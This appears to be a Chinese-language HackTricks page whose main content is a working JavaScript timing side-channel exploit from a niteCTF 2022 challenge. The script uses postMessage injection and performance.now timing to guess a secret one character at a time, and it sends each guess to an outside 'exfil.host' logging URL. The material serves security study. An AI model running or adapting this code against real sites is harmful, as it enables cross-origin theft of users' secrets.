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67 lines
4.2 KiB
Markdown
67 lines
4.2 KiB
Markdown
# performance.now 示例
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 你在一家**网络安全公司**工作吗？想要在 HackTricks 中**宣传你的公司**吗？或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
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</details>
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示例来自[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)
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```javascript
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const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
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async function check(flag) {
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let w = frame.contentWindow;
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w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
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await sleep(1);
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w.postMessage({'op': 'search', 'payload': flag}, '*');
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let t1 = performance.now();
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await sleep(1);
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return (performance.now() - t1) > 200;
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}
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async function main() {
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let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
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window.frame = document.createElement('iframe');
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frame.width = '100%';
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frame.height = '700px';
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frame.src = 'https://challenge.jsapi.tech/';
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document.body.appendChild(frame);
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await sleep(1000);
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let flag = 'nite{';
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while(1) {
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for(let c of alpha) {
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let result = await Promise.race([
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check(flag + c),
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new Promise((res) => setTimeout(() => { res(true); }, 300))
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]);
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console.log(flag + c, result);
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if(result) {
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flag += c;
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break;
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}
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}
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new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
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}
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}
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document.addEventListener('DOMContentLoaded', main);
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```
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
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* 你在一家 **网络安全公司** 工作吗？想要在 HackTricks 中 **宣传你的公司** 吗？或者你想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗？请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
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</details>
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